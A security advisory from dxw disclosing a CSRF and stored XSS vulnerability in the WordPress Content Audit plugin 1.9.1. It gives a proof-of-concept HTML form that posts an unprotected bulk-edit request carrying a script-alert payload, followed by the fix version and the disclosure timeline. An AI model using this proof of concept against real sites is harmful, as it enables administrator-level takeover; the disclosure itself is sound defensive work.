WordPress Content Audit plugin version 1.9.1 suffers from cross site request forgery and cross site scripting vulnerabilities.
dc984adf5f9d9543aacd7fed916439032c04082b190d496601317b59fad3d41e
Details
================
Software: Content Audit
Version: 1.9.1
Homepage: https://wordpress.org/plugins/content-audit/
Advisory report: https://security.dxw.com/advisories/csrf-xss-content-audit/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)
Description
================
CSRF/XSS in Content Audit allowing an unauthenticated attacker to do almost anything an admin can
Vulnerability
================
The plugin contains an admin_ajax action which is not protected with a nonce. One of the values submitted appears unescaped on the list of pages.
Proof of concept
================
Install/activate the plugin
Make sure you have a post with ID=2 (or edit the HTML provided below)
Settings > Content Audit > select at least aPagesa for aAudited content typesa
Visit a page containing the below HTML
Click submit
VisitA http://localhost/wp-admin/edit.php?post_type=page to receive the XSS payload
<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php?action=content_audit_save_bulk_edit\">
<input type=\"text\" name=\"post_ids[]\" value=\"2\">
<input type=\"text\" name=\"_content_audit_owner\" value=\"Elliot Alderson\">
<input type=\"text\" name=\"_content_audit_expiration_date\" value=\"2020-01-01\">
<input type=\"text\" name=\"_content_audit_notes\" value=\"<script>alert(1)</script>\">
<input type=\"submit\">
</form>
A
Mitigations
================
Upgrade to version 1.9.2 or later.
Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/
Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.
This vulnerability will be published if we do not receive a response to this report with 14 days.
Timeline
================
2017-08-21: Discovered
2017-09-08: Reported to vendor by email
2017-09-08: First response from vendor
2017-09-08: Vendor reports fixed in 1.9.2
2017-09-26: Advisory published
Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.